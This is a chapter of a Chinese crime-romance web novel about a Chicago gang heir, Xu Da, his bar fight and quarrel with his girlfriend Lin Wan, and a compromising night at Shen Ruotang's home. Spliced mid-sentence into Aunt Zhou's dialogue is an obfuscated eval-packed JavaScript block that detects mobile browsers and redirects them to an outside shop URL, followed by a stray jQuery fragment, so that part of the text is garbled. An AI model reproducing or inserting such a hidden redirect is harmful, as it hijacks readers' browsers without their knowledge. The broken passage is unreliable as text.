朴成俊从警察局出来的时候，天已经黑了。
芝加哥十一月的夜风冷得像刀子，刮在脸上生疼。
他站在警察局门口的台阶上，点了一根烟，深深吸了一口。烟雾从鼻孔里喷出来，在路灯下像一团灰色的幽灵。
他的手腕上还留着警察手铐勒出的红印，脖子上的青龙纹身在衬衫领口下面若隐若现。
他摸了摸自己蹭破的嘴角，嘶了一声，把烟头扔在地上，用鞋底碾灭。
一辆黑色的奔驰停在路边，车窗降下来一条缝。
“朴先生，陈老板在等你。”
朴成俊拉开车门，坐了进去。
车开了二十分钟，从芝加哥市区开到了西郊的一个私人会所。
会所隐藏在一片树林后面，没有招牌，只有一扇黑色的铁门和两个穿西装的保镖。
朴成俊下车的时候，一个保镖走过来，在他身上摸了一遍，然后点了点头。
铁门打开了。
会所里面灯光昏暗，装修是中式风格，红木家具，水墨屏风，檀香的味道弥漫在空气里。
走廊很长，两边的墙上挂着油画，画的都是山水，笔触粗糙，颜色暗淡，像是在某个旧货市场淘来的。
走廊尽头是一扇雕花木门，门半开着，暖黄色的光从里面透出来。
朴成俊推门进去。
陈国良坐在沙发上，手里端着一杯茶。
他五十多岁，头发花白，手腕上戴着一块百达翡丽。
“坐。”他说。
朴成俊在他对面的沙发上坐下来。
“事情办砸了。”朴成俊低着头，“警察来了，抓了人。律师保我出来的。”
陈国良端起茶杯，喝了一口，放下。
“我知道。”
“那个女的，是她报的警。她跟龙腾那个养子陈屿洲在一起。”
“我知道。”
朴成俊抬起头。
“陈老板，接下来怎么办？”
陈国良站起来，走到窗前，拉开窗帘。
窗外是一片漆黑的树林，什么都看不见。
“你动不了她。”他说，“她是CME的人，不是龙堂的人。你动她，警察会盯上你。上次是你走运，工地上的人不敢作证。下次呢？”
“那就算了？”
“不算。”陈国良转过身，“她的事，我来处理。你现在要做的，是看好工地。龙腾的物流项目是块肥肉，不能让别人抢走。”
“许达那边——”
“许达？”陈国良笑了一下，“他翻不起什么浪。他爸当年都翻不起，何况是他。”
朴成俊点了点头。
“那我先走了。”
“等等。”陈国良叫住他，“今天晚上，我约了一个人。你留下来，帮我送客。”
朴成俊愣了一下，但没有问是谁。他在龙堂混了这么多年，知道不该问的不要问。
***
晚上十点，会所里的人陆续走了。
陈国良一个人坐在包间里，面前摆着一壶新沏的茶和两个杯子。
他在等一个人。
门开了。
一个穿黑色大衣的男人走进来，大衣领子竖着，挡住了下半张脸。戴着帽子和口罩，只露出一双眼睛。
男人走进包间，把门关上，摘下口罩，但没有摘帽子。
“事情办得怎么样了？”陈国良问。
“还在办。”男人的声音很低，像是从喉咙里挤出来的，刻意压着，不想让人认出。
“陈昌恒的事，痕迹能确定擦干净了吗？”
“快了。”
“快了是多久？”
“反正是快了。许达前段时间找到那个会计打听，第二天我就把会计全家送去见上帝了。”
陈国良冷笑了一声：“你是龙堂的人，应该清楚，陈昌恒的死，牵扯到多少人。许达当真要查下去，查到的就不是真相，是炸弹。所以，当务之急不是清理掉知情人，而是想办法让他没法查，查错方向……”
陈国良没有继续往下讲，而是叹了口气。
“你走吧。茶凉了，不喝了。”
男人站起来，重新戴上口罩，把大衣领子竖起来，拉开门，走了出去。
***
许达在中国城的一家酒吧里。
喧闹，嘈杂，灯光刺眼，舞池里挤满了人，音乐震得人耳膜发疼。
许达一个人坐在吧台前面，面前已经摆了三只空杯子。
威士忌，纯的，不加冰。这是他今晚的第四杯。
他在想林晚说的话。
“许达，你在龙腾到底能不能做主？”
“你是家主，你连追诉一个□□都做不到？”
“我需要你站在我这边。”
他一直站在她那边，但站在她那边不够。
龙堂不是他的，长老会不站在他这边，周晋鹏用“你爸就是这样死的”来堵他的嘴。
他端起酒杯，又喝了一大口。威士忌烧过喉咙，辣得他眼睛眯了一下。
“再来一杯。”他对酒保说。
酒保看了他一眼，犹豫了一下，还是给他倒了一杯。
“先生，你喝了不少了。”
“我知道。”
许达忽然觉得自己很可笑。
他是龙堂的家主，但连自己女朋友都保护不了。
他被长老会、五大家族、陈国良的人围在中间，像一只被关在笼子里的鸟，翅膀还在，但飞不出去。
他想起林晚说过的话：“期货不是算计。期货是对冲。算计是你想赢。对冲是你不想输。”
他以为自己是在对冲。但他现在发现，他连对冲都做不到。
他只是在被推着走，他以为自己是家主，其实他只是一个坐在那个位置上的人。
他喝完了第四杯。
***
许达没注意到酒吧角落里的一张桌子。
沈若棠坐在那里，面前放着一杯粉红色的鸡尾酒，杯沿上插着一片柠檬和一颗樱桃。
她并不是来酒吧买醉的，她只是想找个人多的地方坐着，听别人说话，看别人笑，假装自己也是这个世界的一部分。
三个拉丁裔男人坐到了她旁边。
他们的皮肤是棕色的，眼睛是黑色的，头发油亮亮的，身上有古龙水的味道，浓得刺鼻。
其中一个穿着花衬衫，扣子只扣了两颗，露出胸口一撮黑色的胸毛。另一个穿着白色的背心，胳膊上纹着一条蛇。第三个最年轻，看起来不到三十岁，脸上有一颗痣。
“美女，一个人？”花衬衫用西班牙口音的英语问。
沈若棠没有回答，端起鸡尾酒喝了一口。酒是甜的，太甜了，甜得发腻。
“一个人多没意思。陪我们喝一杯？”
纹身男伸出手，想摸沈若棠的头发。沈若棠偏头躲开了。
“别碰我。”
“脾气还挺大。”花衬衫笑了，露出一颗金色的门牙，“我们请你喝酒，不给面子？”
“我说了，别碰我。”
沈若棠站起来，想走。纹身男抓住了她的手腕。
他的手很大，手指粗糙，指甲缝里有黑色的污垢，箍着她的腕骨，疼得她倒吸了一口凉气。
“别走啊。酒还没喝呢。”
沈若棠挣扎了一下，没挣开。
她张了张嘴，想喊，但酒吧里太吵了，音乐声、说话声、笑声混在一起，像一锅煮沸的粥，她的声音掉进去，连个水花都溅不起来。
***
沈若棠呼救的声音被许达听见了。
他转过头，然后他看见了沈若棠。
许达放下酒杯，站起来。
“放开她。”
花衬衫转过头，看了他一眼。
“你谁啊？”
“她朋友。”
“朋友？”花衬衫笑了，“我们也是她朋友。先来后到懂不懂？”
许达没有笑。
“我说了，放开她。”
“你一个人，想英雄救美？”花衬衫上下打量着许达，“瘦得跟鸡似的，你打得过我们？”
许达伸出手，把沈若棠从他们身后拉过来，挡在自己身后。
“让开。”许达说。
“不让。你能怎么着？”
许达一拳打了过去，拳头砸在花衬衫的脸上，骨头撞击骨头，发出沉闷的声响。
花衬衫踉跄了两步，鼻子流血了，红色的液体顺着嘴唇滴下来，滴在他花哨的衬衫上。
纹身男冲上来，许达侧身躲开，肘部撞在他肋骨上。纹身男闷哼了一声，弯下了腰。
最年轻的那个从后面抱住许达，许达猛地往后一仰，后脑勺撞在那人的鼻梁上。那人惨叫了一声，松开了手。
酒吧里乱成一团。有人尖叫，有人吹口哨，有人拿出手机拍视频。酒保从吧台后面冲出来，手里拿着一个黑色的警棍。
花衬衫从地上爬起来，鼻血还在流，他的眼睛里冒着火。
“你他妈——”
他还没说完，酒吧门口传来一声哨响。
警察来了。
***
林晚接到电话的时候，正在家里看一份期货市场的分析报告。
手机震了，屏幕上显示的是一个陌生号码。她犹豫了一下，接了。
“请问是林晚女士吗？这里是芝加哥警察局。有一位陈衍之先生，他的紧急联系人写的是你的名字。他今晚在酒吧与人发生斗殴，现在在我们这里。你能来一趟吗？”
林晚一瞬间有些头晕。
“他受伤了吗？”
“轻伤。不严重。”
“我马上来。”
斗殴。许达。在酒吧。这三个词放在一起，她怎么都想不通。
许达不是会打架的人。他是那种被人推了一下，会先说“对不起”的人。他怎么会跟人斗殴？
林晚开车到警察局的时候，已经快凌晨一点了。
警察局的走廊里灯光惨白，日光灯管嗡嗡响，像一群困在里面的苍蝇。
空气里有一股消毒水的味道，混着咖啡的苦味和某种说不清的酸臭。
许达坐在走廊的长椅上，嘴角破了，左颧骨上有一片青紫，手背上也有擦伤。
他的头发乱糟糟的，衬衫领口歪了，上面有几滴暗红色的血迹——不知道是他自己的还是别人的。
他看见林晚，站起来。
“林晚——”
“别说话。”林晚走到柜台前，跟值班警察办手续。签字，签字，再签字。
警察把许达的东西还给他——手机、钱包、钥匙——然后说了一句“可以走了”。
林晚转身走了出去。许达跟在她后面。
出了警察局大门，林晚没有等他，径直走向停车场。
许达追上来，拉住她的手臂。
“林晚。等等我！”
林晚甩开他的手，转过身。
“你为什么打架？”
“有人骚扰沈若棠。我为了保护她——”
“沈若棠？”林晚的声音提高了半度，“你在酒吧里跟人打架，是因为沈若棠？”
“她被三个男人围着。我不能不管。”
“不能不管？”林晚生气地笑了，“你在工地上不能管韩国人，在酒吧里就能管三个拉丁裔？你是因为韩国人欺负的是我，拉丁裔欺负的是沈若棠，所以才区别对待吧？”
“不是——”
“那是什么？许达，你口口声声，保护我需要跟长老会协商，但一转脸就能义无反顾地为了沈若棠打架。你为了她，就可以不顾长老会了。这又是什么逻辑？”
许达张了张嘴，说不出话来。
林晚看着他嘴角的伤，看着他颧骨上的青紫，看着他衬衫领口上的血迹。
她应该心疼的。她应该问他疼不疼，应该带他去医院，应该回家给他煮一碗面。但她做不到。因为她脑子里只有一个画面——许达挡在沈若棠面前，义无反顾。
“林晚，我只是——”
“你只是什么？你只是觉得，自己应该做沈若棠的英雄，而我，不过是那个每天陪你睡觉的女人罢了，对吗？”
“林晚，不是这样的——”
“那是哪样的？你告诉我，那是哪样的？”
许达被林晚的暴怒吓得说不出话来。
林晚的眼泪在眼眶里转了几圈，没有掉下来。
“你今晚别回来了。那是我家，不是你家。”
她转身走了。
这一次，许达没有追上来。
***
许达在警察局门口站了很久。
风一直吹，吹得他头疼，吹得他嘴角的伤口像被火烧一样疼。
他拿出手机，想给林晚发消息，打了几个字，又删掉了。
他在芝加哥没有自己的房子，没有自己的家。他住的地方，是林晚的。
现在，他无家可归了。
许达苦笑着叫了一辆uber。车开了二十分钟，停在了周姨家门口。
许达下了车，按了门铃。
过了很久，门开了。周姨穿着睡衣，外面披了一件羊毛开衫，头发乱糟糟的，眼睛还没完全睁开。
她看见许达脸上的伤，愣了一下。
“衍之？你怎么了？你跟人打架了？”
“周姨，我能进来吗？”
周姨没有多问，直接把他拉进门。
“你吃饭了吗？”
“吃了。”
“吃了什么？”
许达想了一下，发现自己记不清了。威士忌不算饭。
周姨叹了口气，去厨房热了一碗汤。
许达端着碗，喝了一口。汤是烫的，烫得他舌尖发麻。
“你跟林晚吵架了？”周姨坐在他旁边。
许达的手指在碗沿上停了一下。
“我们……有点误会……小误会。”
“我就说她不适合你。你们在一起，肯定是你在迁就她，她那种要强的个性，哪里会伺候男人！”
“不关她的事。”许达放下碗，“是我自己的问题。”
“什么问题？”
许达低头想了想，眼眶竟然红了。
“周姨，我是一个修电脑的。我住的地方是林晚的，我穿的衣服是林晚挑的，我吃的饭是林晚做的。我什么都没有。我应该事事替她着想，但是我没有。我是个连自己的女人都保护不了的废物。”
周姨赶紧按住了他的肩膀，示意他不要再讲。
“衍之，你不是什么都没有。你还有龙堂，还有我们。她林晚又不是全世界，你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508623|202902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不要因为她，否定自己。”
许达摇了摇头。
“林晚就是我的全世界。她太优秀了，考哥大，在CME站稳脚跟。她靠自己。都不需要我。是我配不上她。”
周姨没有说话。她伸出手，轻轻拍了拍许达的背。
“衍之，你太累了。先睡觉。有话明天再说。”
***
第二天下午，许达接到了沈若棠的电话。
“衍之，昨晚的事，谢谢你。我能请你喝杯酒吗？就当作是感谢。”
许达犹豫了一下。
“好。几点？”
“晚上七点。还是那家酒吧？”
“换一家。那家人太多。”
“好。你来定。”
许达选了一家安静的酒吧，在芝加哥河边，灯光昏暗，人很少。
他到的时候，沈若棠已经坐在靠窗的位置了。她今天穿了一件白色的毛衣，头发散在肩上，化了淡妆，看起来比昨天精神了一些。
“你来了。”沈若棠朝他招手。
许达坐下来，点了一杯威士忌。沈若棠点了一杯白葡萄酒。
“你的伤怎么样了？”她问。
“没事。皮外伤。”
沈若棠低下头，手指在杯沿上慢慢划着。
“衍之，对不起。昨天的事，都是因为我。林晚是不是生气了？”
许达没有回答。
“她当然会生气。你为了别的女人打架，她不生气才怪。”沈若棠端起酒杯，喝了一口。
许达喝了一口威士忌，没有接话。
沈若棠看着他。
“衍之，你是不是有心事？”
许达想了又想，还是开口了。
“若棠，你觉得林晚是个什么样的人？”
沈若棠愣了一下。
“林晚很优秀。独立，聪明，不靠任何人。说实话，我有点嫉妒她。”
“你嫉妒她？”
“我嫉妒她。”沈若棠苦笑了一下，“她有事业，有文凭，她还有你。而我，什么都没有。”
许达又喝了一口威士忌。第三杯了。
“按照你这么讲，那我也该嫉妒她。我除了修电脑，什么都不会。龙堂的事我做不了主，工地的事我管不了，韩国人欺负她，我连追诉都做不到。她需要我的时候，我不在。我还为了别的女人打架……你说我是不是太糟糕了？”
“衍之，你不要这样想。你已经很好了。你是龙堂的家主，你比很多人都强。”
“家主？”许达笑了，笑声很短，像一声叹息，“家主连自己的女人都保护不了，算什么家主？”
他端起酒杯，把剩下的威士忌一口喝完。
“再来一杯。”他对酒保说。
沈若棠想拦他，但没拦住。
第四杯，第五杯。
许达开始说一些乱七八糟的话——他小时候在唐人街送外卖，一晚上挣二十块；
他妈在华人工厂做保洁，一个月挣一千二；
他修了六年电脑，手指上全是茧；
他第一次见林晚的时候，芝加哥下着大雪，他站在她家门口抖雪，像一只从水里爬出来的狗。
他说林晚是他见过最优秀又没有架子的女孩。
她从来不会因为自己懂期货就瞧不起他修电脑。
但他觉得自己跟她的距离越来越远。
她走得太快了，他追不上。
沈若棠没有说话，只是听着。
许达又喝了一杯。
“我不能再喝了。”他嘴上说着，手却还是端起了杯子。
沈若棠拿走了他的杯子。
“衍之，你醉了。我送你回去。”
“我不回去。林晚不让我回去。”
“那你去哪？”
许达想了想。“不知道。”
沈若棠犹豫了一下。“你去我那里吧。我那里有客房。”
***
许达不记得是怎么到沈若棠家的。
他只记得自己做了一个梦。
梦里他站在一片空地上，四周都是雾，看不见路，也看不见人。
他喊林晚的名字，没有人回答。
他往前走，雾散了，面前是一扇门。
他推开门，看见林晚坐在一张桌子前面，面前放着一碗面。
他想走过去，但脚动不了。
林晚抬起头，看着他，说了一句话。他听不清。
然后他醒了。
阳光从窗帘的缝隙里照进来，他躺在一张陌生的床上，被子是白色的，羽绒的，软得几乎没有支撑力。天花板很高，上面有一盏水晶吊灯，在阳光下折射出七彩的光斑。
他的头很疼，像有人在他脑子里敲鼓。嘴里有一股苦味，喉咙干得像被砂纸打磨过。
他坐起来，被子滑落，露出赤裸的上身。
然后他看见了沈若棠。
沈若棠穿着一条白色的丝质睡裙，靠在他旁边，头发散在枕头上，呼吸均匀而缓慢。
她的脸离他很近，能闻到她头发上的香味。
许达的血一下子冲上了头顶。
他猛地掀开被子，发现沈若棠光溜溜的玉腿正搭在自己的大腿上。
沈若棠醒了。
“衍之？你怎么了？”
“我——我们——”
沈若棠低头看了自己一眼，拉过被子，把自己裹住。
“你昨晚喝多了，吐了一地。我让保姆帮你换了衣服。衣服还在洗衣房里，没干。你身上的衣服是我找的我爸的睡衣，但你穿着太小了。”
许达低头看了一眼自己。
“我们——”
“你真的什么都不记得了？”沈若棠问。
许达摇了摇头。
沈若棠低下头，手指攥着被角。
“你昨晚非要跟我睡的，我拒绝了，但你力气太大……你放心，我不会跟任何人说的。你到底是家主，这种事传出去不好。”
许达觉得自己的血压有些高。他慌慌张张地站起来，找到自己的衬衫。
衬衫皱得像一团咸菜，上面有酒渍、血迹、还有不知道什么东西的污渍。
他穿上，扣子扣到一半，发现扣错了，又解开重新扣。
沈若棠坐在床上，看他手忙脚乱。
“衍之。如果有一天林晚不要你了，你会考虑我吗？”
许达的手停了一下。
“不会。”
“为什么？”
“因为你不是林晚。”许达想了想，看到沈若棠失望的表情，继续补充道，“昨晚的事，我肯定要理清楚头绪，给你补偿的。你也想一想到底要什么，我们找个时间详谈！”
他穿上外套，走出卧室。
保姆站在厨房门口，手里端着一杯咖啡。
“陈先生，咖啡。”
“谢谢。”许达接过咖啡，拿出手机，给林晚发了一条消息：「昨晚我在沈若棠家过夜的。什么都没发生。我喝多了，她收留了我。」
他犹豫了一下，还是发了出去。
消息显示“已读”。林晚没有回。
许达站在窗前，等着那个“正在输入”出现。但它没有出现。
他等了五分钟，十分钟，十五分钟。手机屏幕亮了又暗，暗了又亮。没有消息。